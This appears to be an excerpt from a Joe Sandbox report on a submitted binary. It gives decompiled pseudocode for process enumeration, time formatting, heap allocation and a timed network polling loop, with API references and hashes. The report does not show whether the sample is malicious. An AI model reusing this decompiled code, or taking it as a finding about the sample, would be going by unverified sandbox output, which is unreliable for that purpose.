    						}
    						goto L6;
    					}
    					CloseHandle(_v8);
    					return _v296;
    				}
    				return 0;
    			}












    0x00a47929
    0x00a47937
    0x00a4793d
    0x00a47944
    0x00a47951
    0x00a47955
    0x00a4795d
    0x00a4799d
    0x00a479a1
    0x00000000
    0x00000000
    0x00000000
    0x00000000
    0x00a4795f
    0x00a4795f
    0x00a4796a
    0x00a4796f
    0x00a47974
    0x00000000
    0x00000000
    0x00a47993
    0x00a4799b
    0x00000000
    0x00000000
    0x00000000
    0x00a4799b
    0x00a4797a
    0x00000000
    0x00a47980
    0x00000000

    APIs
    • CreateToolhelp32Snapshot.KERNEL32(0000000F,00000000), ref: 00A47937
    • Process32First.KERNEL32(000000FF,00000128), ref: 00A47955
    • CloseHandle.KERNEL32(000000FF), ref: 00A4797A
    Memory Dump Source
    • Source File: 00000000.00000002.273246346.0000000000A41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A40000, based on PE: true
    • Associated: 00000000.00000002.273239754.0000000000A40000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.273265989.0000000000A49000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.273273320.0000000000A4C000.00000002.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_0_2_a40000_40_115.jbxd
    Yara matches
    Similarity
    • API ID: CloseCreateFirstHandleProcess32SnapshotToolhelp32
    • String ID:
    • API String ID: 1083639309-0
    • Opcode ID: f28c58954e970b4bc88306afcce4bab22201ab15947e6d69cbb169e9bbfbc0dd
    • Instruction ID: 41da27be292f43c7c680b033a99219a032f2b237748e89e4e9ea7d952cf18035
    • Opcode Fuzzy Hash: f28c58954e970b4bc88306afcce4bab22201ab15947e6d69cbb169e9bbfbc0dd
    • Instruction Fuzzy Hash: 9101697DA04208ABCB60DBF4DD48BDEB3B8AB89310F104598E649D6281E7319E21DB50
    Uniqueness

    Uniqueness Score: -1.00%

    Control-flow Graph

    • Executed
    • Not Executed
    control_flow_graph 860 a43970-a439b8 GetSystemTime call a43830
    C-Code - Quality: 58%
    			E00A43970(intOrPtr __ecx) {
    				intOrPtr _v8;
    				intOrPtr _v12;
    				struct _SYSTEMTIME _v28;
    				intOrPtr _t13;
    				void* _t22;
    
    				_v12 = __ecx;
    				_v8 = 0;
    				GetSystemTime( &_v28);
    				_push(_v28.wMilliseconds & 0x0000ffff);
    				_push(_v28.wSecond & 0x0000ffff);
    				_push(_v28.wMinute & 0x0000ffff);
    				_t13 = E00A43830(_t22, _v12, "%02hu:%02hu:%02hu:%04hu", _v28.wHour & 0x0000ffff); // executed
    				_v8 = _t13;
    				return _v8;
    			}








    0x00a43976
    0x00a43979
    0x00a43984
    0x00a4398e
    0x00a43993
    0x00a43998
    0x00a439a7
    0x00a439af
    0x00a439b8

    APIs
    • GetSystemTime.KERNEL32(?,?,?,?,?,00A43A22), ref: 00A43984
    Strings
    • %02hu:%02hu:%02hu:%04hu, xrefs: 00A4399E
    Memory Dump Source
    • Source File: 00000000.00000002.273246346.0000000000A41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A40000, based on PE: true
    • Associated: 00000000.00000002.273239754.0000000000A40000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.273265989.0000000000A49000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.273273320.0000000000A4C000.00000002.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_0_2_a40000_40_115.jbxd
    Yara matches
    Similarity
    • API ID: SystemTime
    • String ID: %02hu:%02hu:%02hu:%04hu
    • API String ID: 2656138-503838169
    • Opcode ID: 66d0411fa196bc0c849b60d5e3818f185f18fbed2662218a0df87b029596ef7d
    • Instruction ID: 3908bffcf7a7d7422a7674d4428e3f6229fef94876833313795b75333cb958d5
    • Opcode Fuzzy Hash: 66d0411fa196bc0c849b60d5e3818f185f18fbed2662218a0df87b029596ef7d
    • Instruction Fuzzy Hash: 6FF039BAC0021CBACB00EFD9DD459FFB7F8AB88701F4041C9BA04A3240E2795A50D7A0
    Uniqueness

    Uniqueness Score: -1.00%

    C-Code - Quality: 100%
    			E00A42420(void* __ecx, long _a4) {
    				void* _v8;
    				void* _t7;
    
    				_t7 = RtlAllocateHeap(GetProcessHeap(), 8, _a4); // executed
    				_v8 = _t7;
    				if(_v8 == 0) {
    					return 0;
    				}
    				return _v8;
    			}





    0x00a42431
    0x00a42437
    0x00a4243e
    0x00000000
    0x00a42445
    0x00000000

    APIs
    • GetProcessHeap.KERNEL32(00000008,00000000,?,?,00A4262C,00000000,?,00A450E3,000001AC,00000000,?,00A49C88,00000000,00000000,00A49C80), ref: 00A4242A
    • RtlAllocateHeap.NTDLL(00000000,?,?,00A4262C,00000000,?,00A450E3,000001AC,00000000,?,00A49C88,00000000,00000000,00A49C80), ref: 00A42431
    Memory Dump Source
    • Source File: 00000000.00000002.273246346.0000000000A41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A40000, based on PE: true
    • Associated: 00000000.00000002.273239754.0000000000A40000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.273265989.0000000000A49000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.273273320.0000000000A4C000.00000002.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_0_2_a40000_40_115.jbxd
    Yara matches
    Similarity
    • API ID: Heap$AllocateProcess
    • String ID:
    • API String ID: 1357844191-0
    • Opcode ID: 72f771c9525002ea6f88160cce0d28f79a990e8f98784fdbd3a3574e5c123be8
    • Instruction ID: c3099c69b5767514f2a69d5c16d98ab8e22f07901f5bfe4a845d9c04b98f65d0
    • Opcode Fuzzy Hash: 72f771c9525002ea6f88160cce0d28f79a990e8f98784fdbd3a3574e5c123be8
    • Instruction Fuzzy Hash: F2E01279505108EBCB40DFE8D809B6BB7B8E789301F504455B906C3150D7315E10D761
    Uniqueness

    Uniqueness Score: -1.00%

    Control-flow Graph

    • Executed
    • Not Executed
    control_flow_graph 0 a46a80-a46ad0 call a41f80 3 a46ad2-a46ae3 Sleep 0->3 4 a46ae9-a46b12 call a436c0 call a43a00 0->4 3->4 9 a46b15-a46b30 4->9 10 a46b36-a46b4c 9->10 11 a473ae-a473b9 WSACleanup 9->11 12 a46bd7-a46be4 10->12 13 a46b52-a46b66 call a45650 10->13 14 a46c16-a46c20 12->14 15 a46be6-a46bed 12->15 21 a46b6b-a46b72 13->21 19 a46c86-a46c8d 14->19 20 a46c22-a46c42 call a46310 14->20 17 a46c11 15->17 18 a46bef-a46bfb 15->18 17->9 18->17 22 a46bfd-a46c0b Sleep 18->22 26 a46c93-a46caf call a42540 19->26 27 a46c8e call a46480 19->27 31 a46c44 20->31 32 a46c4e-a46c7a call a436c0 call a43830 20->32 24 a46b74-a46b88 21->24 25 a46b8f-a46bd4 call a46140 call a45f10 21->25 22->17 24->11 25->12 37 a46cb1-a46cba 26->37 38 a46cbc 26->38 27->26 35 a4737b-a473a2 call a46220 31->35 32->35 49 a473a4 35->49 50 a473a9 35->50 40 a46cc3-a46cc9 37->40 38->40 45 a46cd4-a46ce0 40->45 51 a46ce6-a46cfb 45->51 52 a472b8-a472c4 45->52 49->9 50->9 53 a46cfd 51->53 54 a46cff-a46d0e 51->54 55 a47370-a47375 Sleep 52->55 56 a472ca-a472d6 52->56 53->45 59 a46d14-a46d1b 54->59 60 a47095-a4709c 54->60 55->35 56->55 58 a472dc-a472ef 56->58 62 a472f1-a472f8 58->62 63 a472fa 58->63 64 a46d26-a46d32 59->64 61 a470a7-a470b3 60->61 65 a471c4-a471c8 61->65 66 a470b9-a470ce 61->66 67 a47301-a47347 call a436c0 call a439c0 call a436c0 call a43830 62->67 63->67 68 a46d38-a46d4d 64->68 69 a46e7a-a46e86 64->69 74 a471fa-a471fe 65->74 75 a471ca-a471f5 call a457d0 call a42540 65->75 72 a470d0 66->72 73 a470d2-a4713e call a42540 call a46860 66->73 139 a47352 67->139 140 a47349-a47350 67->140 77 a46d51-a46d66 68->77 78 a46d4f 68->78 70 a47090 69->70 71 a46e8c-a46eaa Sleep 69->71 70->74 81 a46eb5 71->81 82 a46eac-a46eb3 71->82 72->61 120 a471b4-a471b9 Sleep 73->120 121 a47140-a4714c 73->121 87 a47200-a4720a 74->87 88 a4725e-a47262 74->88 75->74 79 a46db8-a46dc5 77->79 80 a46d68-a46db5 call a465e0 77->80 78->64 91 a46dc7 79->91 92 a46dcc-a46e29 call a465e0 79->92 80->79 93 a46ebc-a46f02 call a436c0 call a439c0 call a436c0 call a43830 81->93 82->93 87->88 99 a4720c-a47218 87->99 94 a47264-a4726e 88->94 95 a472b1 88->95 91->69 116 a46e2d-a46e33 92->116 117 a46e2b 92->117 156 a46f04-a46f0b 93->156 157 a46f0d 93->157 94->95 104 a47270-a472ab call a436c0 call a439c0 call a436c0 call a43830 Sleep 94->104 95->52 99->88 100 a4721a-a4725c call a436c0 call a439c0 call a436c0 call a43830 Sleep 99->100 100->95 104->95 124 a46e75 116->124 125 a46e35-a46e72 call a436c0 call a439c0 call a436c0 call a43830 116->125 117->69 120->65 128 a4717e-a471b1 call a42190 121->128 129 a4714e-a47179 call a457d0 call a42540 121->129 124->69 125->124 128->120 129->128 148 a47359-a4736d call a436c0 call a43830 139->148 140->148 148->55 163 a46f14-a46f32 call a436c0 call a43830 156->163 157->163 172 a46f3d-a46f49 163->172 172->70 173 a46f4f-a46f64 172->173 174 a46f66 173->174 175 a46f68-a46f7d 173->175 174->172 177 a46fcf-a46fdc 175->177 178 a46f7f-a46fcc call a465e0 175->178 179 a46fe3-a47040 call a465e0 177->179 180 a46fde 177->180 178->177 185 a47044-a4704a 179->185 186 a47042 179->186 180->70 187 a4704c-a47088 call a436c0 call a439c0 call a436c0 call a43830 185->187 188 a4708b 185->188 186->70 187->188 188->70
    C-Code - Quality: 92%
    			E00A46A80(void* __eflags, signed int _a4) {
    				signed int _v8;
    				signed int _v12;
    				signed int _v16;
    				signed int _v20;
    				signed int _v24;
    				long _v28;
    				signed int _v32;
    				signed int _v36;
    				long _v40;
    				signed int _v44;
    				long _v48;
    				long _v52;
    				char* _v56;
    				long _v60;
    				char* _v64;
    				intOrPtr _v68;
    				long _v72;
    				intOrPtr _v76;
    				char _v204;
    				char _v460;
    				void* _t366;
    				signed int _t375;
    				signed int _t376;
    				signed int _t379;
    				signed int _t386;
    				void* _t390;
    				signed int _t399;
    				signed int _t433;
    				intOrPtr _t437;
    				signed int _t440;
    				long _t451;
    				intOrPtr _t467;
    				signed int _t496;
    				signed int _t497;
    				long _t499;
    				signed int _t501;
    				signed int _t517;
    				signed int _t518;
    				signed int _t525;
    				intOrPtr _t536;
    				long _t549;
    				signed int _t551;
    				intOrPtr _t573;
    				signed int _t595;
    				signed int _t609;
    				void* _t616;
    				signed int _t617;
    				signed int _t618;
    				long _t619;
    				signed int _t620;
    				signed int _t638;
    				signed int _t639;
    				intOrPtr _t647;
    				signed int _t672;
    				long _t682;
    				signed int _t684;
    				void* _t695;
    				void* _t696;
    				void* _t697;
    				void* _t698;
    				void* _t699;
    
    				_v36 = 0xffffffff;
    				_v44 = 0;
    				 *(_a4 + 0x10018) = 1;
    				_v40 = 0;
    				E00A41F80(_a4);
    				 *((char*)(_a4 + 0x10044)) = 4;
    				_v68 =  *((intOrPtr*)(_a4 + 0x10d58));
    				if( *(_a4 + 0x10d5c) > 0) {
    					Sleep( *(_a4 + 0x10d5c) * 0x3c * 0x3e8);
    				}
    				_push( *((intOrPtr*)(_a4 + 0x1014c)));
    				_push(0x68b0);
    				_t366 = E00A436C0(_a4 + 0x1001d); // executed
    				E00A43A00(_a4 + 0x1001d, _t366, " %s M%X SGCNT %d \n", _a4 + 0x1001d); // executed
    				_t697 = _t696 + 0x14;
    				while(1) {
    					_v72 = _v40;
    					_v76 = _v68;
    					_v40 = _v40 + 1;
    					if(_v72 >= _v76) {
    						break;
    					}
    					_v44 = _v44 + 1;
    					if(( *(_a4 + 0x10018) & 0x000000ff) != 1) {
    						L9:
    						_t517 = _a4;
    						__eflags = ( *(_t517 + 0x10018) & 0x000000ff) - 1;
    						if(( *(_t517 + 0x10018) & 0x000000ff) != 1) {
    							_t518 = _a4;
    							__eflags =  *((intOrPtr*)(_t518 + 0x10038)) - 0xffffffff;
    							if( *((intOrPtr*)(_t518 + 0x10038)) != 0xffffffff) {
    								E00A46480(_v8, _a4);
    								E00A42540( &_v204, 0x80);
    								_v28 = 0;
    								__eflags = _v36 - 0xffffffff;
    								if(_v36 <= 0xffffffff) {
    									_v48 = 0;
    								} else {
    									_v48 = _v36 + 1;
    								}
    								_v24 = _v48;
    								while(1) {
    									_t375 = _a4;
    									__eflags = _v24 -  *((intOrPtr*)(_t375 + 0x10d58));
    									if(_v24 >  *((intOrPtr*)(_t375 + 0x10d58))) {
    										break;
    									}
    									_v36 = _v24;
    									_t390 = _a4 + _v24;
    									_t529 =  *((char*)(_t390 + 0x10956));
    									__eflags =  *((char*)(_t390 + 0x10956));
    									if( *((char*)(_t390 + 0x10956)) != 0) {
    										_t616 = _a4 + _v24;
    										__eflags =  *((char*)(_t616 + 0x10556));
    										if( *((char*)(_t616 + 0x10556)) != 0) {
    											_v32 = 0;
    											while(1) {
    												_t617 = _a4;
    												__eflags = _v32 -  *((intOrPtr*)(_t617 + 0x1014c));
    												if(_v32 >=  *((intOrPtr*)(_t617 + 0x1014c))) {
    													break;
    												}
    												_t536 =  *((intOrPtr*)( *((intOrPtr*)(_a4 + 0x10148)) + _v32 * 4));
    												__eflags =  *((intOrPtr*)(_t536 + 0xc)) - _v24;
    												if( *((intOrPtr*)(_t536 + 0xc)) == _v24) {
    													E00A42540( &_v460, 0x100);
    													_v12 = E00A46860(_v8,  &_v460, 6, 0,  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_a4 + 0x10148)) + _v32 * 4)))), 0, _a4,  *( *((intOrPtr*)( *((intOrPtr*)(_a4 + 0x10148)) + _v32 * 4)) + 4) & 0x000000ff,  *( *((intOrPtr*)( *((intOrPtr*)(_a4 + 0x10148)) + _v32 * 4)) + 9) & 0x000000ff);
    													__eflags = _v12;
    													if(_v12 > 0) {
    														__eflags = _v28 + _v12 - 0x80;
    														if(_v28 + _v12 >= 0x80) {
    															E00A457D0( &_v204, _v8,  &_v204, _v28, _a4);
    															_v28 = 0;
    															E00A42540( &_v204, 0x80);
    														}
    														E00A42190(_t695 + _v28 - 0xc8,  &_v460, _v12);
    														_t697 = _t697 + 0xc;
    														_v28 = _v28 + _v12;
    														_t549 =  *(_a4 + 8) + 1;
    														__eflags = _t549;
    														 *(_a4 + 8) = _t549;
    													}
    													Sleep(0x3e8);
    												}
    												_t529 = _v32 + 1;
    												__eflags = _t529;
    												_v32 = _t529;
    											}
    											__eflags = _v28;
    											if(_v28 > 0) {
    												E00A457D0(_v28, _v8,  &_v204, _v28, _a4);
    												_v28 = 0;
    												_t529 =  &_v204;
    												E00A42540( &_v204, 0x80);
    											}
    											L76:
    											__eflags = _a4;
    											if(_a4 == 0) {
    												L80:
    												__eflags = _a4;
    												if(_a4 != 0) {
    													_t618 = _a4;
    													__eflags =  *(_t618 + 0x10d60);
    													if( *(_t618 + 0x10d60) > 0) {
    														E00A439C0(E00A436C0(_t529));
    														_push(0x68b3);
    														E00A43830(__eflags, E00A436C0(_t393), " %s M%X \n", _a4 + 0x1001d);
    														_t697 = _t697 + 0x10;
    														_t619 =  *(_a4 + 0x10d60) * 0x3e8;
    														__eflags = _t619;
    														Sleep(_t619);
    													}
    												}
    												L83:
    												break;
    											}
    											_t620 = _a4;
    											__eflags =  *((intOrPtr*)(_t620 + 0x10d68)) - 0xffffffff;
    											if( *((intOrPtr*)(_t620 + 0x10d68)) == 0xffffffff) {
    												goto L80;
    											}
    											_t399 = _a4;
    											_t529 = _v36;
    											__eflags = _v36 -  *((intOrPtr*)(_t399 + 0x10d68));
    											if(_v36 !=  *((intOrPtr*)(_t399 + 0x10d68))) {
    												goto L80;
    											}
    											E00A439C0(E00A436C0(_t529));
    											_push(0x68b2);
    											E00A43830(__eflags, E00A436C0(_t400), " %s M%X \n", _a4 + 0x1001d);
    											_t697 = _t697 + 0x10;
    											Sleep( *(_a4 + 0x10d64) * 0x3e8);
    											goto L83;
    										}
    										_v16 = 0;
    										while(1) {
    											_t638 = _a4;
    											__eflags = _v16 -  *((intOrPtr*)(_t638 + 0x1014c));
    											if(_v16 >=  *((intOrPtr*)(_t638 + 0x1014c))) {
    												break;
    											}
    											_t573 =  *((intOrPtr*)( *((intOrPtr*)(_a4 + 0x10148)) + _v16 * 4));
    											__eflags =  *((intOrPtr*)(_t573 + 0xc)) - _v24;
    											if( *((intOrPtr*)(_t573 + 0xc)) == _v24) {
    												_t467 =  *((intOrPtr*)( *((intOrPtr*)(_a4 + 0x10148)) + _v16 * 4));
    												__eflags =  *(_t467 + 8) & 0x000000ff;
    												if(( *(_t467 + 8) & 0x000000ff) != 0) {
    													_v12 = E00A465E0(_v8, 6, 0,  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_a4 + 0x10148)) + _v16 * 4)))), 1, _a4,  *( *((intOrPtr*)( *((intOrPtr*)(_a4 + 0x10148)) + _v16 * 4)) + 4) & 0x000000ff,  *( *((intOrPtr*)( *((intOrPtr*)(_a4 + 0x10148)) + _v16 * 4)) + 9) & 0x000000ff);
    												}
    												_t529 = _a4;
    												__eflags = ( *(_t529 + 0x10018) & 0x000000ff) - 1;
    												if(( *(_t529 + 0x10018) & 0x000000ff) != 1) {
    													_t529 = _v8;
    													_v12 = E00A465E0(_v8, 6, 0,  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_a4 + 0x10148)) + _v16 * 4)))), 0, _a4,  *( *((intOrPtr*)( *((intOrPtr*)(_a4 + 0x10148)) + _v16 * 4)) + 4) & 0x000000ff,  *( *((intOrPtr*)( *((intOrPtr*)(_a4 + 0x10148)) + _v16 * 4)) + 9) & 0x000000ff);
    													_t672 = _a4;
    													__eflags = ( *(_t672 + 0x10018) & 0x000000ff) - 1;
    													if(( *(_t672 + 0x10018) & 0x000000ff) != 1) {
    														_t582 = _v12 & 0x00000040;
    														__eflags = _v12 & 0x00000040;
    														if((_v12 & 0x00000040) == 0) {
    															E00A439C0(E00A436C0(_t582));
    															_push( *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_a4 + 0x10148)) + _v16 * 4)))));
    															_push(0x68b1);
    															__eflags = _a4 + 0x1001d;
    															E00A43830(__eflags, E00A436C0(_a4 + 0x1001d), " %s M%X %d\n", _a4 + 0x1001d);
    															_t697 = _t697 + 0x14;
    														}
    														L29:
    														_t529 = _v16 + 1;
    														__eflags = _t529;
    														_v16 = _t529;
    														continue;
    													}
    												} else {
    												}
    												break;
    											}
    											goto L29;
    										}
    										_t639 = _a4;
    										__eflags =  *(_t639 + 0x10046) & 0x000000ff;
    										if(( *(_t639 + 0x10046) & 0x000000ff) == 0) {
    											L63:
    											goto L76;
    										}
    										Sleep(0x3e8);
    										_v36 = 0xffffffff;
    										_t551 = _a4;
    										__eflags =  *(_t551 + 0x10045) & 0x000000ff;
    										if(( *(_t551 + 0x10045) & 0x000000ff) != 0) {
    											_v52 = 0;
    										} else {
    											_v52 = 1;
    										}
    										 *((char*)(_a4 + 0x10045)) = _v52;
    										E00A439C0(E00A436C0(_v52));
    										_push(0x68b3);
    										E00A43830(__eflags, E00A436C0(_t429), " %s M%X \n", _a4 + 0x1001d);
    										_t699 = _t697 + 0x10;
    										_t433 = _a4;
    										_t554 =  *(_t433 + 0x10045) & 0x000000ff;
    										__eflags =  *(_t433 + 0x10045) & 0x000000ff;
    										if(( *(_t433 + 0x10045) & 0x000000ff) == 0) {
    											_v56 = "OFF\n\n";
    										} else {
    											_v56 = "ON\n\n";
    										}
    										E00A43830(__eflags, E00A436C0(_t554), "\nCurrent operation : %s", _v56);
    										_t697 = _t699 + 0xc;
    										_v20 = 0;
    										while(1) {
    											_t529 = _a4;
    											__eflags = _v20 -  *((intOrPtr*)(_t529 + 0x1014c));
    											if(_v20 >=  *((intOrPtr*)(_t529 + 0x1014c))) {
    												goto L63;
    											}
    											_t437 =  *((intOrPtr*)( *((intOrPtr*)(_a4 + 0x10148)) + _v20 * 4));
    											__eflags =  *((intOrPtr*)(_t437 + 0xc)) - _v24;
    											if( *((intOrPtr*)(_t437 + 0xc)) == _v24) {
    												_t647 =  *((intOrPtr*)( *((intOrPtr*)(_a4 + 0x10148)) + _v20 * 4));
    												__eflags =  *(_t647 + 8) & 0x000000ff;
    												if(( *(_t647 + 8) & 0x000000ff) != 0) {
    													_v12 = E00A465E0(_v8, 6, 0,  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_a4 + 0x10148)) + _v20 * 4)))), 1, _a4,  *( *((intOrPtr*)( *((intOrPtr*)(_a4 + 0x10148)) + _v20 * 4)) + 4) & 0x000000ff,  *( *((intOrPtr*)( *((intOrPtr*)(_a4 + 0x10148)) + _v20 * 4)) + 9) & 0x000000ff);
    												}
    												_t440 = _a4;
    												_t529 =  *(_t440 + 0x10018) & 0x000000ff;
    												__eflags = ( *(_t440 + 0x10018) & 0x000000ff) - 1;
    												if(( *(_t440 + 0x10018) & 0x000000ff) != 1) {
    													_v12 = E00A465E0(_v8, 6, 0,  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_a4 + 0x10148)) + _v20 * 4)))), 0, _a4,  *( *((intOrPtr*)( *((intOrPtr*)(_a4 + 0x10148)) + _v20 * 4)) + 4) & 0x000000ff,  *( *((intOrPtr*)( *((intOrPtr*)(_a4 + 0x10148)) + _v20 * 4)) + 9) & 0x000000ff);
    													_t529 = _a4;
    													__eflags = ( *(_t529 + 0x10018) & 0x000000ff) - 1;
    													if(( *(_t529 + 0x10018) & 0x000000ff) != 1) {
    														__eflags = _v12 & 0x00000040;
    														if((_v12 & 0x00000040) == 0) {
    															E00A439C0(E00A436C0(_t529));
    															_push( *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_a4 + 0x10148)) + _v20 * 4)))));
    															_push(0x68b1);
    															__eflags = _a4 + 0x1001d;
    															E00A43830(__eflags, E00A436C0( *((intOrPtr*)( *((intOrPtr*)(_a4 + 0x10148)) + _v20 * 4))), " %s M%X %d\n", _a4 + 0x1001d);
    															_t697 = _t697 + 0x14;
    														}
    														L50:
    														_t451 = _v20 + 1;
    														__eflags = _t451;
    														_v20 = _t451;
    														continue;
    													}
    												} else {
    												}
    												goto L63;
    											}
    											goto L50;
    										}
    										goto L63;
    									}
    									_t682 = _v24 + 1;
    									__eflags = _t682;
    									_v24 = _t682;
    								}
    								_t376 = _a4;
    								__eflags =  *(_t376 + 0x10046) & 0x000000ff;
    								if(( *(_t376 + 0x10046) & 0x000000ff) != 0) {
    									_t609 = _a4;
    									__eflags = _v36 -  *((intOrPtr*)(_t609 + 0x10d58));
    									if(_v36 >=  *((intOrPtr*)(_t609 + 0x10d58))) {
    										_v36 = 0xffffffff;
    										_t525 = _a4;
    										__eflags =  *(_t525 + 0x10045) & 0x000000ff;
    										if(( *(_t525 + 0x10045) & 0x000000ff) != 0) {
    											_v60 = 0;
    										} else {
    											_v60 = 1;
    										}
    										 *((char*)(_a4 + 0x10045)) = _v60;
    										E00A439C0(E00A436C0(_v60));
    										_push(0x68b3);
    										E00A43830(__eflags, E00A436C0(_t382), " %s M%X \n", _a4 + 0x1001d);
    										_t698 = _t697 + 0x10;
    										_t386 = _a4;
    										_t528 =  *(_t386 + 0x10045) & 0x000000ff;
    										__eflags =  *(_t386 + 0x10045) & 0x000000ff;
    										if(( *(_t386 + 0x10045) & 0x000000ff) == 0) {
    											_v64 = "OFF\n\n";
    										} else {
    											_v64 = "ON\n\n";
    										}
    										E00A43830(__eflags, E00A436C0(_t528), "\nCurrent operation : %s", _v64);
    										_t697 = _t698 + 0xc;
    									}
    								}
    								Sleep(0x3e8);
    								L94:
    								_v12 = E00A46220(_v8, _a4);
    								 *(_a4 + 0x10018) = 1;
    								_t379 = _a4;
    								__eflags = ( *(_t379 + 0x10018) & 0x000000ff) - 1;
    								if(( *(_t379 + 0x10018) & 0x000000ff) != 1) {
    								}
    								continue;
    							}
    							 *((intOrPtr*)(_a4 + 0x10038)) = E00A46310(_v8, _a4);
    							_t684 = _a4;
    							__eflags =  *((intOrPtr*)(_t684 + 0x10038)) - 0xffffffff;
    							if( *((intOrPtr*)(_t684 + 0x10038)) != 0xffffffff) {
    								_push( *((intOrPtr*)(_a4 + 0x10038)));
    								_push(0x68b4);
    								E00A43830(__eflags, E00A436C0( *((intOrPtr*)(_a4 + 0x10038))), " %s ST%X %d\n", _a4 + 0x1001d);
    								_t697 = _t697 + 0x14;
    							}
    							goto L94;
    						}
    						_t496 = _a4;
    						__eflags =  *(_t496 + 0xc);
    						if( *(_t496 + 0xc) != 0) {
    							_t595 = _a4;
    							_t497 = _v44;
    							asm("cdq");
    							__eflags = _t497 %  *(_t595 + 0xc);
    							if(_t497 %  *(_t595 + 0xc) == 0) {
    								_t499 =  *(_a4 + 0x10040) * 0x3e8;
    								__eflags = _t499;
    								Sleep(_t499);
    							}
    						}
    						continue;
    					}
    					_t501 = E00A45650(_a4 + 0x1001d,  *((intOrPtr*)(_a4 + 0x10034))); // executed
    					_v8 = _t501;
    					if(_v8 != 0xffffffff) {
    						 *(_a4 + 0x10018) = 0;
    						 *((char*)(_a4 + 0x1001b)) = 1;
    						 *(_a4 + 4) = 0;
    						 *(_a4 + 8) = 0;
    						_v12 = E00A46140(_v8, _a4);
    						_v12 = E00A45F10(_v8, _a4);
    						goto L9;
    					} else {
    						 *(_a4 + 0x10018) = 1;
    						 *((char*)(_a4 + 0x1001b)) = 0;
    						break;
    					}
    				}
    				__imp__#116(); // executed
    				return 0;
    			}
































































    0x00a46a89
    0x00a46a90
    0x00a46a9a
    0x00a46aa1
    0x00a46aab
    0x00a46ab3
    0x00a46ac3
    0x00a46ad0
    0x00a46ae3
    0x00a46ae3
    0x00a46af2
    0x00a46af3
    0x00a46b07
    0x00a46b0d
    0x00a46b12
    0x00a46b15
    0x00a46b18
    0x00a46b1e
    0x00a46b27
    0x00a46b30
    0x00000000
    0x00000000
    0x00a46b3c
    0x00a46b4c
    0x00a46bd7
    0x00a46bd7
    0x00a46be1
    0x00a46be4
    0x00a46c16
    0x00a46c19
    0x00a46c20
    0x00a46c8e
    0x00a46c9f
    0x00a46ca4
    0x00a46cab
    0x00a46caf
    0x00a46cbc
    0x00a46cb1
    0x00a46cb7
    0x00a46cb7
    0x00a46cc6
    0x00a46cd4
    0x00a46cd4
    0x00a46cda
    0x00a46ce0
    0x00000000
    0x00000000
    0x00a46ce9
    0x00a46cef
    0x00a46cf2
    0x00a46cf9
    0x00a46cfb
    0x00a46d02
    0x00a46d0c
    0x00a46d0e
    0x00a47095
    0x00a470a7
    0x00a470a7
    0x00a470ad
    0x00a470b3
    0x00000000
    0x00000000
    0x00a470c5
    0x00a470cb
    0x00a470ce
    0x00a470de
    0x00a47137
    0x00a4713a
    0x00a4713e
    0x00a47146
    0x00a4714c
    0x00a47161
    0x00a47166
    0x00a47179
    0x00a47179
    0x00a47194
    0x00a47199
    0x00a471a2
    0x00a471ab
    0x00a471ab
    0x00a471b1
    0x00a471b1
    0x00a471b9
    0x00a471b9
    0x00a470a1
    0x00a470a1
    0x00a470a4
    0x00a470a4
    0x00a471c4
    0x00a471c8
    0x00a471dd
    0x00a471e2
    0x00a471ee
    0x00a471f5
    0x00a471f5
    0x00a471fa
    0x00a471fa
    0x00a471fe
    0x00a4725e
    0x00a4725e
    0x00a47262
    0x00a47264
    0x00a47267
    0x00a4726e
    0x00a47277
    0x00a4727c
    0x00a47295
    0x00a4729a
    0x00a472a0
    0x00a472a0
    0x00a472ab
    0x00a472ab
    0x00a4726e
    0x00a472b1
    0x00000000
    0x00a472b1
    0x00a47200
    0x00a47203
    0x00a4720a
    0x00000000
    0x00000000
    0x00a4720c
    0x00a4720f
    0x00a47212
    0x00a47218
    0x00000000
    0x00000000
    0x00a47221
    0x00a47226
    0x00a47240
    0x00a47245
    0x00a47256
    0x00000000
    0x00a47256
    0x00a46d14
    0x00a46d26
    0x00a46d26
    0x00a46d2c
    0x00a46d32
    0x00000000
    0x00000000
    0x00a46d44
    0x00a46d4a
    0x00a46d4d
    0x00a46d5d
    0x00a46d64
    0x00a46d66
    0x00a46db5
    0x00a46db5
    0x00a46db8
    0x00a46dc2
    0x00a46dc5
    0x00a46e10
    0x00a46e19
    0x00a46e1c
    0x00a46e26
    0x00a46e29
    0x00a46e30
    0x00a46e30
    0x00a46e33
    0x00a46e3c
    0x00a46e52
    0x00a46e53
    0x00a46e5b
    0x00a46e6d
    0x00a46e72
    0x00a46e72
    0x00a46d1d
    0x00a46d20
    0x00a46d20
    0x00a46d23
    0x00000000
    0x00a46d23
    0x00000000
    0x00a46dc7
    0x00000000
    0x00a46dc5
    0x00000000
    0x00a46d4f
    0x00a46e7a
    0x00a46e84
    0x00a46e86
    0x00a47090
    0x00000000
    0x00a47090
    0x00a46e91
    0x00a46e97
    0x00a46e9e
    0x00a46ea8
    0x00a46eaa
    0x00a46eb5
    0x00a46eac
    0x00a46eac
    0x00a46eac
    0x00a46ec2
    0x00a46ecf
    0x00a46ed4
    0x00a46eee
    0x00a46ef3
    0x00a46ef6
    0x00a46ef9
    0x00a46f00
    0x00a46f02
    0x00a46f0d
    0x00a46f04
    0x00a46f04
    0x00a46f04
    0x00a46f23
    0x00a46f28
    0x00a46f2b
